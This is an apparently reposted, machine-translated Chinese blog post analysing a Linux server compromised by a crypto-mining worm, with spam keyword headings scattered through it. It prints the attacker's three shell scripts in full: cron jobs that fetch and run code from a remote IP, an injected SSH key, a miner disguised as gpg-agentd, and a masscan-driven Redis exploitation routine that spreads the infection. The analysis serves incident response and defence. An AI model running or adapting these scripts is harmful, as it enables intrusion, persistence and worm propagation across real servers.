记住Linux被黑客入侵以及服务器成为“矿机”的整个过程

电脑杂谈  发布时间:2020-07-17 06:11:36  来源:网络整理

探鱼器实战视频_入侵服务器实战教程_银行窗口实战服务技巧课后测试

”

我星期一早上到达办公室时,听说一位同事说服务器无法登录,因此我也不在乎. 我继续提早吃东西,并观察货币价格是否再次下跌.

运维人员很快就来到了,气喘吁吁地说: 我们有一台被阿里云冻结的服务器. 原因: 恶意外包.

我把德国泡菜包子塞了,SSH连接了,被拒绝了,要求默认端口22被阻止.

让运维部门的同事更改端口,立即连接,然后查看登录名: root,并且很少有少于8位数字的白色密码,我的内心很冷: 被黑了!

服务器系统CentOS 6.X部署了Nginx,Tomcat,Redis等应用程序. 首先,首先将备份到本地,然后查看Top命令,其中有2个99%的进程相同名称仍在运行,称为gpg -agentd.

Google审查了GPG,结果是: GPG提供的gpg-agent支持SSH协议,此功能可以大大简化密钥的管理.

它看起来像是一个非常严肃的程序,但是仔细查看服务器上的进程,后面紧跟字母d(已很好掩饰),它使人们想起Windows上各种外观,例如svchost.exe病毒.

继续进行故障排除:

银行窗口实战服务技巧课后测试_入侵服务器实战教程_探鱼器实战视频

ps eho command -p 23374netstat -pan | grep 23374

检查pid: 23374进程的启动路径和网络状态,即到图1中的目录的位置,以便找到黑客留下的二进制可执行文件.

接下来的两个问题在等我:

历史记录已清除,没有任何痕迹. 继续订购更多消息:

我在深夜12点钟看到服务器上安装了许多软件入侵服务器实战教程,其中一些引起了我的注意. 我将在下面详细讨论.

猜测时猜测,如果我们要做坏事,我们将在哪里撰写文章并自动开始?定期开始?是的,预定任务:

crontab -e

果然找到了线索.

入侵服务器实战教程_银行窗口实战服务技巧课后测试_探鱼器实战视频

以上安排的任务意味着每15分钟在服务器上下载一个脚本并执行该脚本.

让我们下载脚本并看一下:

curl -fsSL 159.89.190.243/ash.php > ash.sh

脚本内容如下:

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
 redisX > /root/.ssh/authorized_keys
echo */15 * * * * curl -fsSL 159.89.190.243/ash.php|sh > /var/spool/cron/root
echo */20 * * * * curl -fsSL 159.89.190.243/ash.php|sh > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
bash -c curl -fsSL 159.89.190.243/bsh.php|bash 2>/dev/null

**通常分析脚本的主要用途: **首先,关闭SELinux,删除Shell资源访问限制,然后在/root/.ssh/authorized_keys文件中生成SSH公钥.

这样,黑客每次登录该服务器时,都可以不使用密码登录,并且执行脚本将更加方便.

接下来安装Bash,最后继续下载第二个脚本bsh.php并执行它. 继续下载并分析bsh.pbp,内容如下:

sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk !/awk/ && /redisscan|ebscan|redis-cli/ {print $1} | xargs kill -9 2>/dev/null
ps x | awk !/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1} | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo /usr/bin/gpg-agentd > /etc/rc.local
echo curl -fsSL 159.89.190.243/ash.php|sh >> /etc/rc.local
echo exit 0 >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x $(command -v masscan) ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x $(command -v apt-get) ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x $(command -v yum) ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c curl -fsSL 159.89.190.243/rsh.php|bash 2>/dev/null

此脚本的代码相对较长,但是有4个主要功能:

探鱼器实战视频_入侵服务器实战教程_银行窗口实战服务技巧课后测试

我去了Github,看了看这个开源代码.

每秒传输1000万个数据包(每秒传输1000万个数据包)要比nmap快,这不难理解为什么阿里云会冻结服务器.

阅读自述文件一段时间后,我没有仔细研究它,因此我继续下载第三个脚本:

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo config set dbfilename backup.db > .dat
echo save >> .dat
echo flushall >> .dat
echo set backup1 \n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n >> .dat
echo set backup2 \n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n >> .dat
echo set backup3 \n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n >> .dat
echo set backup4 \n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n >> .dat
echo config set dir /var/spool/cron/ >> .dat
echo config set dbfilename root >> .dat
echo save >> .dat
echo config set dir /var/spool/cron/crontabs >> .dat
echo save >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk {print $6, substr($4, 1, length($4)-4)} | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk {print $6, substr($4, 1, length($4)-4)} | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE ([0-9]{1,3}.?){4}/[0-9]{2} 2>/dev/null | sed s/\/\([0-9]\{2\}\)/\/16/g > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk {print $6, substr($4, 1, length($4)-4)} | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果前两个脚本仅在服务器上下载并执行二进制文件入侵服务器实战教程,则此脚本确实显示了病毒的威力. 让我们分析一下这个脚本.

一开始,关于修改系统环境没有什么可说的. 随后的文件写入操作有点熟悉. 如果您使用过Redis,则应该可以猜测这是Redis的配置.

编写此配置自然会利用Redis将缓存内容写入本地文件的漏洞. 结果是使用本地私钥登录到写入了公钥的服务器. 您可以不使用密码登录,该密码是本文开头的/Root/.ssh/authorized_keys.

登录后,定期启动计划的任务并下载脚本. 好的,配置文件已经准备好了,我开始使用Masscan扫描Redis服务器的整个网络,寻找肉鸡.

请注意,此6379是Redis服务器的默认端口. 如果您的Redis侦听端口是公共网络IP或0.0.0.0,并且没有密码保护,对不起,您将成功.

探鱼器实战视频_入侵服务器实战教程_银行窗口实战服务技巧课后测试

通过依次分析这三个脚本,您可以了解该病毒的恐怖之处. 首先,您可以通过写入ssh公钥来获取登录权限,然后下载并执行远程二进制文件,最后通过Redis漏洞进行复制. 遍布网络,呈指数增长.

问题是,此服务器是如何制造的?读取redis.conf后,绑定的地址为127.0.0.1,没问题.

可以推断出应该粗暴破解根帐户. 为了验证我的想法,我看了一下Lastb,其中有很多记录:

最后一个问题仍然存在,这个gpg-agentd程序到底做什么?当时我的第一个反应是采矿机,因为现在数字货币太热了,增加了对分布式采矿机的需求,这催生了这个灰色的产业链.

因此,将gpg-agentd拖动到Ida,然后使用String搜索比特币,eth,mine和其他相关单词,最后找到以下内容:

打开nicehash.com并查看所有内容:

安全建议

服务器:

Redis:

至此,已经基本分析了整个入侵过程. 如果您对该示例感兴趣,还可以转到Curl或转到虚拟机以执行上述脚本. 鉴于我的能力有限,文本中不可避免地会出现疏忽或错误,因此请多多指正.


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/ruanjian/article-283213-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      • 韩恩光
        韩恩光

        还有心情在对中国说三道四

      • 段天才
        段天才

        美国佬说保证航行自由

      热点图片
      拼命载入中...